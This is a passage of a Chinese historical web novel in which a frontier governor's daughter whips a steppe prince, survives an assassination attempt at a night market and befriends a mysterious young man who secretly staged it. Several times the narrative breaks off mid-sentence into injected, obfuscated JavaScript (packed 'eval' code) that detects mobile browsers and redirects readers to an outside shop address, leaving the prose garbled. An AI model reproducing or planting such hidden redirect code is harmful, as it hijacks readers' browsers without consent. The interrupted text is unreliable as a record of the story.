“叫县君。”哈仁原本上了车便在闭目养神,脑海里回想着之前和顾林书的交谈,听见儿子的话他睁开了眼睛,神色间带着淡淡地不耐。转念想到这次的事情虽然没有能同顾林书结为儿女亲家,却也给自己带来了许多好处也算因祸得福,神色便缓和了不少,“你回去之后便收拾东西,去一趟黑山。算算日子,黑山那边的野马群也该出没了,这次你带队,好好去套几匹好马回来。” “爹!”额尔急了,“我若走了,同少布的决斗岂不成了临阵脱逃?!会被人笑话一辈子!” 哈仁皱起了眉头:“不过是笑话你几句罢了,不疼不痒。你先避着他们些便是!”他看着额尔急得额头直冒汗,知道必须同这个傻儿子把话说透,“你不要再肖想县君,城主不会将她嫁给你,这般去同少布生死相拼不值得。” 听见安宁不会嫁给他,他的眼睛里便失去了神色,啊了一声无力地靠在车厢壁上,低头看着自己的双手不发一言。 “你私自拿了母妃的遗物出去做赛马的彩头,原本该狠狠罚你。只是这次的事,因缘巧合,你倒替我向顾城主递了个梯子,让你爹得了不少好处,将功抵过便不罚你了。”哈仁扫了失魂落魄的儿子一眼,心里轻叹一声,“你日后成了王,什么样美貌的女子要不到?不要把心思放在某一个人身上!好男儿志在四方,不要整日只想那些情情爱爱的小事!我看也不必等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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少布收了皮鞭,笑看向安宁:“县君,本王特地来寻你,偏生被这看门狗挡了路,这畜生不懂规矩,本王便出手教训一二,县君不会怪罪本王吧?” 安宁看了一眼刘金虎脸上的伤,见他皮肉破溃流血,那鞭痕擦着眼角掠过,再偏上分毫,他的左眼就保不住。 安宁不言不语,夺过一旁侍从手中的马鞭,手一挥那皮鞭啪的一声落在少布的身上,疼得他一哆嗦,和疼痛比起来安宁动手打他更让他震惊,他一时间忘记了身上的疼痛不可置信地瞪着安宁:“你打我?!你敢打我?!!” “打你怎么了?打的就是你!”安宁指着他的鼻子骂,“睁开你的狗眼给我看清楚!这里是开阳城!你脚下踏着的是我大宁的国土!这里不是赤刹海,不是你的金帐王庭!你作威作福到我的面前,蹬鼻子上脸寻上门来欺负我,谁给你的狗胆?!” 她嘴里骂着,手上动作不停,马鞭落如急雨,噼里啪啦地打在少布身上,打得他跳着脚躲避。他身后跟着的人上前想要阻拦,安宁一视同仁挥舞着鞭子就揍,下手毫不留情,旁人又不敢真的对她动粗,只得一边躲一边抵抗着,一群人硬生生被她一个人逼着狼狈的退出了戏楼。 少布身上到处都是伤痕,脸上也青一块紫一块。他退到大街上,摸了摸自己的脸,疼得龇牙咧嘴。他指着追出来的安宁气得浑身发抖:“你这个贱人!竟然敢对本王动手!本王绝不会放过你!” 安宁捋着马鞭站在戏楼正门口,冷笑一声:“本县君就在这里等着!看看你能奈我何!有本事你出兵来打啊!我等着你!” 四周围里三层外三层围了无数人上来看热闹。少布眼见在安宁这里讨不了好,恨恨地拂袖而去:“你给我等着!” 6. 5 微风拂过,海棠树轻轻摇摆,枝头含苞待放的花朵妖艳欲滴。侍女们一早就剪了几支插在白瓷细颈花瓶里,放在房间的一角做摆设。 安宁看着窗外的海棠树,脑子里完全在神游,直到母亲进了花厅她才回过神来,低头行礼:“娘。” 李月桦板着脸走到主位上落座。昨日才处理了额尔的事情,今日就被金帐王庭告上门来,说她打了王子少布。 堂堂县君,宁国贵女,竟然当着那么多人的面拿马鞭在戏楼殴打外部的王子!真的是成何体统! 李月桦压下心头的怒气,绷着开口:“你知错了没有?” 安宁倏地抬起头看着母亲:“我哪儿错了?” 李月桦被女儿气笑了:“你没错?” 安宁极力分辨:“我没招他没惹他,好端端地在戏楼里看戏,是他寻上门来欺负我,是他先动手打伤了虎子哥。那马鞭再偏一点,虎子哥的眼睛都没了!” 李月桦怒道:“便是如此,他是金帐王庭的王子,未来的草原王!你是贵女!你怎么能动手打他?!” “那就让他欺负?!”安宁十分生气,“照娘这么说,若是他要对我行不轨之事,顾及他的身份,女儿也不能反抗不成?!” 李月桦气得用力拍桌子:“你在胡说什么?!” 母女两正剑拔弩张时,顾林书进了屋子。他走到妻子身边落座,安慰地轻轻拍了拍她的手背,这才看向不服气的女儿:“打得好。” 安宁的怒气一扫而光,眉开眼笑地看着父亲:“爹,你最好了!” 李月桦气得抽回自己的手:“你还惯着她!再这么下去,她要翻天了!” 顾林书吩咐女儿:“你先下去。” 安宁喜滋滋地行礼,高高兴兴地退出了花厅。 “旁的不论,这次的事情,宁儿打得好。”顾林书慢慢道,“她这一动手,太后断然不会再将她赐婚给少布。” 她何尝没有想到这一层?李月桦叹口气:“宁儿毕竟已经十四岁,眼看着就要谈婚论嫁,她这般无法无天,如今又动手打了少布,这样的悍名传开去,她如何找人家,谁敢要她?” “她有你我,还愁找不到好人家?”顾林书安慰妻子,“再者,左右嫁人还有好几年,这几年咱们特地给她营造个好名声不就成了?” 李月桦抬头眼睛一眨不眨地看着顾林书,看得他心虚地低头打量自己:“你看我做什么?” “我算是知道了。”李月桦慢慢道,“只要有你护着,宁儿这个娇狂的性子就没有办法板正一点。” “唉。”顾林书轻轻握住妻子的手,“女儿在家能娇养几年?日后出嫁夫家婆家对她如何都尚未可知。若是寻到心疼她的还好,若是遇到那些麻烦的人家,有得她受磋磨。既然如此,在身边的时候能偏疼就多偏疼一些,也不要将她养的如同绵羊一般,事事被人拿捏。依我看她现在的性子就很好,不会随意被人欺负。” 李月桦不欲与他争辩,心里却暗自拿定了主意。顾林书只知道一味偏疼,必须要将安宁送回京城保国公府,送去她的外祖母那里好好地管上一管,教教她规矩,再不可任由她这般下去。 有爹护着,安宁心里的郁闷一扫而光,带着侍女高高兴兴地出了门,去市集上逛街。 长门大街距离城主府不远,是以她没有骑马,选择了步行。这边的晚集会一直持续到城门关闭之后的一个时辰。往年开阳城效仿边城,管控极为严格,城门关闭后,任何外部人不允许在城内逗留。这些年顾林书把政策放宽了些,凡是有五年以上商照的外部商户,可以在城内租房子做生意,并且在商照有效期内可以居住在开阳城。 所以如今的晚集上不仅有宁国的小商小贩,也有不少外部商户支起摊棚加入。安宁看见一个卖各种兽牙的摊子,当即来了兴趣蹲下来挑挑拣拣。摊子上各种各样的牙齿都有,有些品相不错,有些残破不堪。她想着挑拣几个品相好的狼牙,自己回去做一个狼牙手串。 摊主见安宁衣着华贵,身上披金戴银,身边还带着侍女护卫知道是个大户,不遗余力的推荐着自己的货物。安宁选了几个狼牙,正打算给钱时旁边传来一声轻笑:“我要是你,就不买这些东西。” 安宁扭头,身旁站着一个高壮的青年。正是夕阳西落的时候,他抱臂站在那里,挡住了下落的霞光,倒像是从他背后生出了刺目的光辉,让人看不清他的脸庞。只觉得他身材格外高大,肩宽且壮,充满旺盛的生命力,只是站在那里,压迫感就让人喘不过气来。 安宁站起身打量他,这才看清了他的脸。他五官十分深邃仿若雕刻一般,穿着宁国的装束,一开口说的是地道的官话,不是从小在京城长大,没有这么正宗的味道。 安宁把玩着手里的几枚牙齿问他:“为什么?” “这不是狼牙,是犬牙。”他指了指一旁的摊子,“这上面也有好东西,只是你选的不对。” 安宁往旁边让了让:“你替我选。” 他也不客气,弯腰挑挑拣拣选出了几枚牙齿,老板道:“要是这几颗,可就不是方才的价钱了,要加钱。” “加就是。”安宁大气的挥了挥手,吩咐一旁的沉香,“给钱。” 安宁上下打量着面前的男子:“你从京城来的?” “是。”他回答她的问题,“过来探亲。” 安宁点了点头:“你叫什么名字?” “伯言。” “顾安宁。”安宁指了指自己,“你今天帮了我一个小忙,我记住了。若是你需要帮助,尽管去城主府寻我,报上你的名字就是,我自然会相应的回报你。” 他略有些诧异地看着她:“你不知道我?” 安宁反问:“我应该知道你?你很有名?” “倒也不是。”他微笑着回答,“不过在京城有点虚名罢了,不知便不知。” 安宁再度上下打量他一番:“你这外袍,是四川上贡的蜀锦,虽然是前年的花纹,但蜀锦一向是三年一供,统共也就那么几匹。你能得了做一身衣裳,应是非富即贵,又来自京城……但你又说到此地来探亲,想来不是宗室。”她摇了摇头,“京城权贵太多,实在是不知是哪一家。” “你不知道我,我却知道你。”伯言笑看着她,“此前在戏楼见你拿马鞭把外部那些纨绔子弟揍了一顿,才知道你是顾城主的嫡长女,安宁县君。” 安宁偏头看着他,眼睛里有了几分警惕:“那你特地来同我套近乎,意欲如何?” 伯言摇了摇头:“不过是在京城里见惯了那些大家闺秀循规蹈矩,举手投足一颦一笑都生怕出格,冷不丁看见你这般觉得十分特别,所以心生结交之意罢了。” 安宁不屑地笑了笑,转身继续在集市上逛。 “你这人嘴巴倒甜。”安宁一边打量着路边摊子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273248|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上琳琅满目的货物,一边漫不经心的开口,“把不守规矩说成特别,还心生结交之意,这般上赶着同我搭上关系却说无所求。”她转头瞥了他一眼,“说的话虽甜却都是虚话,可见不是个好人。” 伯言失笑:“你这么大的小姑娘,不都爱听别人夸赞么?怎么在你这里,我夸你,你却说我不是好人?” “你若夸我长得好看,见我貌美所以想要亲近,我倒也信你。”安宁走走停停,在人群中穿梭,“你说我不守规矩是特别?”她摇了摇头,“京城最重规矩二字,有些东西是刻在骨子里的,尤其世家大族。” 他停下了脚步:“我便是见你貌美心生倾慕之意想要亲近,才同你相识也不便直说,寻个旁的借口也不可么?” 安宁扫了他一眼:“你长得好看,你是我到现在,除了我爹以外,见过长得最好看的男子。” 伯言微笑:“多谢夸赞。” 安宁话锋一转:“可我爹说,这世间最不值钱的东西就是美貌。若是出身低微,貌美不是幸运反而是祸根。若侥幸出生在大富大贵的人家,美貌也不过就是锦上添花的添头而已,而且随着时间流逝,衰败最快的也是容貌。人若是以自己貌美而骄傲,后半生一定陷在苦痛的泥淖里无法摆脱。”她顿了顿,“毕竟江山不变红颜易老不是?” 伯言怔住,只觉得她小小年纪说出来的话却老气横秋。他不由自主地被她吸引跟了上去:“你说的有道理。”他补了一句,“我就是想认识你。” 安宁回头去挑选水粉,没有理他。 他站在她身旁,态度诚恳了许多:“我想认识你,言语间玩弄了点小手段,原是想让你觉得我有趣,没成想却弄巧成拙,是我的不是。” 她还是没有回答。 安宁打开了水粉盒子试颜色。晚集上人潮涌动,再有小半个时辰就要闭城门,这时候集市上人流最为密集,许多外部人赶着采买了出城。远处的天边铺满了层层叠叠金红色的晚霞,夕阳橘色的光辉笼罩下,万物都变得温柔许多。 几个外部人挤过拥挤的人流,径直向安宁所在之处走来。伯言抬头和对方领头的人视线相撞,对方凶悍的眼神里杀意尽显,他一把抓住安宁的胳膊将她拉到自己身后,同时沉声提醒:“小心!” 话音未落,对方已经亮出了腰间的兵器,举着弯刀向他们杀来。伯言抓起一旁水粉铺子的架子扔过去拦了一拦,转身拉着安宁就跑:“快走!” 安宁身后的护卫们反应极快,抽刀拦住了对方,双方胶着在一起,集市顿时大乱。 “放开我!”安宁被伯言拉着往前跑了几步,用力挣脱他的手,站在原地警惕地看着他,“你要带我去哪里?” 伯言顾不上回答,抓着她往旁边猛力一拽,一柄寒刀贴着她的耳边划过,他伸脚用力踹在对方腹部,那人噔噔噔后退数步,一旁的同伙又杀了上来。 路旁便是酒肆,伯言用力推了安宁一把:“上楼!” 两人冲进酒肆上楼,后方的杀手举刀追来,伯言在楼梯上突然转身,敏捷地躲过对方的袭击,反手夺过当先一人手中的弯刀,顺势用力一推,几人滚葫芦一般向后摔落。 伯言手执弯刀站在楼梯口不躲不避,颇有一夫当关万夫莫开的气势。 安宁在二楼撑着扶手往下看,眼看着下面的杀手一时上不来,她对着伯言笑言:“我欠了你一个大人情,我记住了!” 7. 6 城里的护卫来得极快,那些杀手们眼见不敌,果断转身窜逃。 护卫首领进了酒肆看见安宁笑盈盈地站在二楼,上前行礼:“县君受惊了!还请县君在此稍后,属下这就派人来护送县君回府。” 安宁点了点头,护卫首领急匆匆去安排人手。伯言见不再有威胁,收了刀上楼:“你既然有护卫相送,我也不便多留,告辞。” 安宁叫住了他:“你救了我,若是同我回府,我爹娘一定会重谢。你这么急着走做什么?” 伯言看着下面匆匆赶来的护卫队:“我的身份不方便去府上,若是去了,徒给顾城主带去麻烦,还是不去的好。” 听他如此说,安宁也不再强求:“你住在哪儿?在此停留几日?” “我就住在官驿,原打算再过两日就动身回京。” “好。”安宁道,“明日中午你我在此再见一面,我请你喝酒,稍作答谢今日之事。” 伯言应下:“那就一言为定。” 安宁一回府,就被叫去了正院,李月桦看见她将她拉到自己面前好一顿打量:“吓着了没有?有没有伤到哪里?” “娘。”看见母亲焦急担心的样子,先前那点小小的不愉快早就飞到了九霄云外。安宁抱住李月桦仰头看她,“我没事,你别担心。” 李月桦轻叹一声,将女儿从怀里拉出来站好:“方才侍卫来报,我吓得心都差点从喉咙里跳出来!幸好你平安无事。” 安宁四处张望:“爹呢?” “你先去梳洗换身衣裳吃晚膳。”李月桦嘱咐女儿,“你爹去处理外头的事情,今日要晚些回来。” 安宁依言去水房泡澡。白蔻放了一大桶热水,她舒舒服服地靠坐在木桶里,任由两个丫鬟不停地将热水浇到自己身上,水面上漂浮着新摘的花朵鞣制的花瓣,被热气一蒸,满屋都是淡淡的花香。 “今天可吓死我了。”白蔻一边用木瓢舀热水一边低声抱怨,“那些贼人拿刀扑过来的时候,我腿都软了,明明想逃来着,就是一动不能动,幸好沉香姐姐从旁边推了我一把。” 沉香轻轻往安宁身上打着香腻子:“姑娘,今日那个伯言,算不算英雄救美?” 白蔻顿时来了精神:“真的呢,姑娘,今儿个就像画本里的桥段一样。” 安宁拈起几片花瓣嗯了一声,脑海里回想起伯言的样子,尤其他在楼梯口劈手夺刀转身对敌的那一幕。大宁的男子在她的印象里一向拘谨有礼,偏偏这个伯言身上有一种压抑不住的野性,很特别,明明让人觉着危险,可又忍不住想接近。 安宁问白蔻:“虎子哥怎么样了?” 刘金虎被少布打伤,下午留他在府里上药,所以去市集的时候没有带他。 白蔻道:“只是点皮外伤没有大碍。大夫说了,伤口不要沾水,上几日药就能痊愈。” 安宁放下心来,今日若是刘金虎在,那些贼人压根没机会近身。这也给她提了个醒,城内也并非万全,这些日子同少布起了龃龉,要时刻注意安全才是。 他上门来寻衅,她动手反击,他竟然想要她的性命。安宁趴在木桶边,享受白蔻轻轻替她搓背。这仇算是结下了,他敢动手,她也定然不会让他讨了好去!只是他毕竟是金帐王庭的王子,想要报复却也不易。 安宁突然回头问身后的白蔻:“秋狩还有几日?” 白蔻算了算日子:“后日就是最后一日了。” 安宁点了点头,放松地眯起了眼睛。 伯言回到城东的驿站,刚进门就见一众属官起身迎了上来,后者一脸焦急:“世子,你这是去了哪里?下官好一顿找,听说城里起了乱子,可担心死我们了!” “不过是觉着气闷,所以出去逛了逛。”伯言轻描淡写略过了他们的询问,“我这不是平安无事回来了?” “世子。”左长吏跟在伯言身后,苦口婆心的劝道,“这里不同京城,您身份特殊,那些人都将您看作眼中钉肉中刺,您要以自身安危为上,可不要给贼人可乘之机啊!” 伯言停下脚步转过身,温和笑道:“我记住了,我不会再擅自行动,长吏不必多虑。” 他进了房间闭好房门,转身去推开了内寝的窗户。不一会儿的功夫,几个黑衣人鱼贯翻过窗户入内,为首的上前行礼:“主上!” 伯言点了点头:“今日的事情办的不错,可有留下什么首尾?” 为首的摇头:“未曾。主上放心,我等做得干净。那少布在酒宴间出言要寻仇顾家,咱们不过是抢先动了一步。有他大放厥词在前,咱们又做得利落,不会牵连到主上身上。” “好。”伯言沉思片刻,“还有件事情要交予你去办。这件事不需要人多,但需仔细些避人耳目。” 首领双手抱拳:“主上尽管吩咐。”伯言低声吩咐了几句,首领应下,“主上放心,小的定然办的妥妥帖帖!” 伯言点点头:“去吧。” 几人行礼告辞,悄无声息地消失在了黑夜里。 安宁穿着常服趴在临窗的炕上看画本,白蔻推门进了屋子:“姑娘,老爷回来了。” 安宁闻言起身下床,奔向前院去迎父亲。 她披散着一头柔顺的长发,身上穿着纯棉的白色裙裾,脚上穿着一双月白色银线暗绣的软鞋,月光下仿若从海棠树林里冒出来的精灵。顾林书停下脚步,由着女儿扑到他怀里,埋首在他胸前:“爹!” 她声音里带着委屈。他低头温声询问:“先前在市集,是不是吓着了?” 安宁抬头看着父亲:“那些贼人,抓到了么?” 顾林书摇了摇头:“这帮人狡猾得很。扔了武器趁着人多混在百姓里难以分辨,让他们侥幸逃脱。” 他牵着她的手往里走,安宁告状:“还用查么?定是少布为了报复我!爹,这少布好狠毒的心思,他欺负我便罢了,如今还想要我的性命!” 顾林书没有说话,牵着女儿到了书房:“你肯定是少布?” 安宁告状:“我看得真切,那些人深眼眶高鼻子肤色晒得棕黑,都是外部人,用的武器也是弯刀。不是他的人,谁有这么大的胆子敢在城里向我动手?!” 顾林书沉吟着没有说话。 他心里也怀疑是少布报复。但是少布虽然鲁莽狠毒了些,应该也没有这么大的胆子,敢公然向安宁下这般的毒手。 “爹。”安宁走到顾林书身旁抱着他的胳膊,将脸贴了上去娇娇绵绵地开口,“他这般欺负我,你要为我做主。” 顾林书轻轻拍了拍她的背安慰:“别急。他若是敢动手,我自然会要金帐王庭给个交代。” 少布被安宁狠狠打了一顿,伤倒不重,只是大失脸面。他回了王庭后气呼呼地传了医官来上药,随后同一众追随他的人狂饮了一场,酒醉时嚷嚷着定要向安宁讨回这个场子,又胡言乱语说了些旁的不清不白的话,最后拥着一众美貌侍女醉了个天昏地暗。 顾林书使人来金帐王庭问询市集袭击的事情,乌日更得了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13273249|139954||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息急匆匆赶去儿子的王帐,一掀开帐篷的幔帘,一股浓烈的酒气和着一些暧昧的膻气扑面而来。她等眼睛适应了室内的黑暗定睛一看,顿时气得脸色铁青。王帐华丽的羊毛地毯上,少布同一众男男女女光溜溜的抱在一起,肢体交缠横七竖八地睡着。 乌日更怒从心头起,左右看了一眼,取下了墙上挂着的马鞭,不分青红皂白噼里啪啦打在众人身上。 这些人都没有穿衣服,乌日更气急下手又狠,马鞭落在身上就是一道小孩胳膊粗的紫痕,一时间众人哭爹喊娘地醒了过来。少布醉醺醺地正要发脾气,一看是自己自己母亲,顿时耷拉了脑袋跪好:“母妃!” 旁人都不敢逃,纷纷在少布身后跪好。乌日更指着门口:“都给我滚出去!” 闲杂人等顾不上穿衣服,一个个光溜溜灰溜溜地跑出了帐篷,只余少布一人跪在原地。 “我问你。”此时乌日更暂且顾不上别的,“你是不是让人去向顾安宁寻仇了?!” 少布酒还没醒,身上被鞭子打得火辣辣地疼。他龇牙咧嘴地抚摸着自己身上的鞭痕,脑子还糊涂着:“儿子……儿子不记得了。” 乌日更折了手里的马鞭:“你好好想清楚!” 少布绞尽脑汁,奈何酒醉得实在厉害,他不记得自己有没有下令,但依稀记得自己在酒宴时说了要寻仇。 乌日更骂道:“今儿个下午,顾安宁在市集上遇袭,有人要她的性命!你这个天杀的,是不是你喝多了稀里糊涂干下的蠢事?!” 少布一梗脖子:“便是儿子下的令又如何?!她那般折辱我,我恨不能扒了她的皮!” 乌日更扔了手中的马鞭,上前用力打了少布一耳光,指着他的鼻子喝骂:“我怎么生了你这么个蠢货!无端端地,为何要同顾家结仇?!” 少布被打了这一巴掌,怒从心头起,捂着脸跳了起来:“我能看上她,是她的造化!那个贱人竟然同额尔那个狼崽子不清不楚,我去教训自己的女人,有什么不可?!她竟然敢动手打我,她竟然敢动手打我!”少布越说越怒,浑身皮肤涨得通红怒吼着,“我就是要她的命!” 少布阴鹜地看着自己的母亲,双眼血红:“我不仅要她的命,我要整个宁国都给她陪葬!我要杀光宁国的男人,奸辱宁国的女人!我要给他们所有人都烙上兽印,让他们和猪狗一样被宰杀买卖!” 乌日更震惊地看着发狂的儿子:“你……你疯了!” 眼看着儿子神智不清,乌日更不敢再刺激他,只得唤来几个心腹牢牢将他看住,自己去刹什那处周旋。 乌日更走得急,没有注意儿子的王帐外头守着一个侍卫。那人将方才少布嘶吼的话听得清清楚楚,眼看着乌日更急匆匆去向草原王回话,他转身隐入了黑暗中。没过多久,方才少布的那些疯言疯语就像长了翅膀一样在王庭里传布开来。 一个时辰后,消息传到了顾林书面前。 来送信的人恭敬地弯着腰,双眼注视着地面不敢抬头看面前的人:“我们大首领说了,王庭日后由这样的人来掌舵,实在非他所愿。我们大首领只想着和平共处,借着您的贵手多挣些银两,改善族人的生活,他极不愿意看见战火再起。” 来人是拓罗河部大首领哈仁的心腹。 顾林书点了点头:“有劳大首领传话,这份心意我记下了。” 来人再度恭敬行礼退了下去。 书房里只点了一盏油灯,顾林书注视着燃烧的灯火,微微眯起了眼睛。 8. 7 经历了前一日的混乱,市集上增加了不少巡逻的士兵,进出城的身份查验也更为严格。最为明显的是今日散集上几乎都是宁人的摊子,只有三五个长年在开阳城做生意的外部商户掺杂在其中。 安宁到酒肆门口的时候,伯言已经在二楼的房间里坐了好一阵。今日天气正好,阳光不烈不躁。他坐在窗边,看着城主府的马车停到酒肆门口,两个丫鬟当先下了车,这才转身去扶后面的安宁。马车前后跟着二三十个护卫,有一个身材高大脸上有伤做护卫打扮的男子寸步不离地跟在安宁身后,和她一起上了楼。 包房的门开着,刘金虎先安宁一步进了房间,他手里按着刀锐利地扫视了一圈室内之后方才往旁边让了几步让安宁进门。安宁脚步轻快地进门,同伯言打招呼:“你来得挺早。” 伯言站起了身:“左右无事出来走走,累了便先行到这里歇歇脚。” 她在他对面落座,吩咐小二上菜:“昨日你帮了我,这份恩情我记下了,日后有机会必然会还。今日就先请你喝上几杯水酒,聊表谢意。” 伯言微笑:“不过顺手为之,你也不必着意这般记着。” 小二很快就送上来了菜品和酒水。安宁举起面前的茶杯:“我还小,不宜饮酒,就以茶代酒,多谢你昨日出手相助。” 伯言给自己斟满了一杯酒,同她遥遥举杯,仰头喝光后,反手给她看杯底。 安宁状若不经意地询问:“我看你明明身世不俗,为何这两日出门,身边连侍从也不见一个?” 伯言再给自己斟了杯酒:“不方便带着他们,所以特地想法子把他们甩了,只身前来见你。” 这话引起了她的兴趣。她好奇地看着他:“昨日我邀你回府,你说若是去了,会给我爹徒增麻烦。今日又说特地甩了侍从只身前来见我,你到底是什么人?” 他抬头看她,双眸仿若黑宝石一般。他的注视一瞬间让市集上的嘈杂都变得遥远,让人被他的双眸吸引。他反问:“我的身份重要么?你同我相交,是看身份还是凭感觉?或者说,你交朋友,看重的是身份还是感觉?” 安宁仔细想了想:“我没有交过朋友。我相熟的要么是兄弟姊妹,要么是从小一起长大的丫鬟和护卫。不曾有过别的朋友。” 伯言举起了酒杯:“那就祝我能成为你的第一个朋友。” 安宁心中微微一动,第一个朋友……好像也不是什么让人反感的事情。他既然不愿意讲明他的身份,她便不再追问,左右京城都是那些世家子弟,日后总归会弄清楚。 安宁倒了一杯奶茶回敬:“你说你这两日就打算动身回京?” “嗯。”他放下酒杯。初秋的风从窗户拂进来,带着草海淡淡地花香,轻柔地拂过面颊,他扭头眺望着远处一望无际的草海,“此间事了,自然要回京。” “明日是秋狩最后一日。”安宁出言挽留,“每年秋狩的最后一日,外部都有围猎大会十分热闹,你既然赶上,不如参加完围猎再回去。运气好的话,能得到许多上好的皮子。我之前得了一张极佳的熊皮,就是前年围猎所得。” 伯言转动着手里的酒杯:“你想和我同去围猎会?” 她反问:“你不愿和我同去?” 他沉吟片刻:“同去也可,那明日再见?” “好。”安宁展颜一笑,“那就明日午间还是这个时辰,我们在城外市集东门见面,到时候碰了头,再一同去围猎。” 楼梯口噔噔噔跑上来一个少年,想往房间里闯,被刘金虎拦住。他着急地踮起脚尖伸长了脖子往房间里看,一边看一边喊:“安姐姐,安姐姐!我是宝音啊!安姐姐!”宝音见安宁回头,高兴地挥手示意,“姐姐,我在这里!” 安宁示意刘金虎放宝音进来。他今年才七岁,是额尔的亲弟弟。 “姐姐!”宝音跑到安宁身边,倒豆子一样噼里啪啦地开口,“我哥托我给你带几句话。他说,项链的事情是他对不住你,等他成年礼的时候,他一定亲自去狩猎,把自己的狼牙项链送给你!还有就是,少布的事让你不要担心,他过几日就从黑山回来,希望你能等等他!” 安宁托着腮听宝音讲话,等他说完她捏了捏他的耳朵问他:“还有嘛?说完了没有?” 宝音揉了揉自己被捏的耳朵仔细想了想,确定没有遗漏,肯定地点头:“说完了!” 她拉着他在身边落座,拿了一块糖糕给他吃:“这个糖糕好吃,你吃一块。” 宝音咬了一口,抬头看着她脸上都是笑意:“甜,好吃!” 她拿手帕替他擦了擦唇角的糕渍:“好吃一会儿给你带一包回去。” 宝音刚吃了没几口,跟着他的侍从就找了上来,见他同安宁坐在一处也不敢造次,在外远远行礼:“县君安好!我们来寻小世子,接他回去。” 安宁拍了拍宝音的脑袋:“不要再一个人到处乱跑了,听见没有?” 宝音又抓了一块儿糖糕,一边吃一边回答:“我出来是为了寻姐姐。” 安宁牵着他的手将他还给了跟着的侍从,后者千恩万谢地领了宝音离开。 安宁回身在伯言面前坐定,笑看着他继续前面的话题:“那我们就这么说定了,明日市集东门,不见不散。” 伯言应下:“不见不散。” 安宁约好了伯言一同去围猎,心情极好,回府后便吩咐白蔻和沉香去为自己准备次日要穿的衣裳,自己则取了弓箭坐在木桌前,给木弓上油保养。 李月桦来寻女儿,见她嘴里哼着歌正在给弓弦上油:“今儿个又出去玩了?” “娘。”安宁放下手里的物事起身去迎李月桦,扶着她在窗边落座,“你怎么没有去看三弟,到我这儿来了?” 李月桦道:“怕你昨日受了惊吓,想着过来看看你。谁知道头前使人来问,才知道你又出了门。听说你回来就过来看看。” 安宁吩咐小丫鬟上茶,自己又坐回了木桌边摆弄弓箭。 “宁儿,你这几日还是要小心一些。”李月桦嘱咐,“少布性格狂悖,这些日子最好少出门,避一避他。” “避他?”安宁用小鹿皮细细的从弓弦上擦过,“避他岂不显得我怕了他?我不避。” “宁儿!”李月桦皱起了眉头,“让你避让是为了免去不必要的麻烦和风险。” “娘!”安宁放下手里的弓箭,“我此时若是躲着他,倒显得我们大宁怕了他们金帐王庭!” 她倔强地看着母亲,眼睛里写满了不服和桀骜。李月桦轻叹一口气,知道女儿无论如何都不会听她的吩咐,她神色严肃地开口:“不许去参加明日的秋狩围猎,在家老老实实的呆着,听见没有?” “娘!”安宁霍然站起身,“我做错了什么,您要把我禁足!” 李月桦叹道:“让你在家是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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沉香摇头:“姑娘今日说没什么胃口,午膳只喝了一两口粥,没怎么用旁的东西。” 李月桦看向室内,轻轻叹了口气。她拘着她在家,她这是不高兴使小性子呢。不用午膳、赌气睡觉。也好,让她安静睡一会儿总比生闷气强。李月桦吩咐了一声:“好生看着姑娘。”便带着一行人回了正院。 李月桦前脚刚走,安宁后脚就起了身。她趴在窗边往外看,见母亲一行人的身影消失,赶紧唤了沉香进屋:“快,把备好的衣裳给我拿来换上!” 沉香不解地拿来了衣裳:“姑娘,你换衣裳做什么?” “我一会儿从后门出去。”安宁一边抓紧时间换衣服一边吩咐,“你就在这儿守着,谁来问就说我在睡觉,别放人进去。” “姑娘!”沉香睁大了眼睛,“你要偷跑出去?” 安宁扑过去捂住沉香的嘴,心虚地往外看了看瞪了她一眼:“你再嚷大点声,全开阳都听见了!”她反问,“如今娘不许我出门,我不偷溜出去怎么办?!” 沉香绕着安宁走来走去,心里觉得不妥:“不行不行,你这么跑出去太危险。怎么着也要同虎子哥说一声,让他跟着!” “你回来!”安宁拉住了她,“你要是同虎子哥说了,我还出得去吗?你听我的,你安生的在这里守着,我早去早回,最多两个时辰就回来。” 沉香还想说什么:“姑娘……” 安宁将她按在椅子上坐好,将背上系的弓箭和箭筒紧了紧,冲着沉香露出一个大大的笑容,推开后窗轻巧地跳了出去。 9. 8 城外市集东门,伯言孤身一人在那里等着,眼看着约定的时辰已经过去了三刻钟还不见安宁的身影,他也不着急,坐在茶摊处慢慢地品着茶。 终于安宁出现在了不远处,她将脸涂作咖色,做一身普通外族女子打扮,又用纱巾蒙了脸,骑着一匹黄鬃马,没有带任何侍女和护卫孤身一人。 伯言在桌上放了几个铜钱,起身迎了过去。安宁勒住缰绳,笑盈盈地看着他:“我来晚了。” “无妨。”他看了看她周围:“你的侍女和侍从呢?” 她调皮地看着他:“不方便带着他们,所以特地把他们甩了,只身前来见你。” 他打量她的时候,她也打量着他,巧了。她扮作外族的平民女子,他也刻意换上了外部男子的打扮,看上去完全是个外族人,不露丝毫破绽。 他失笑:“你倒胆大,一点也不害怕。” 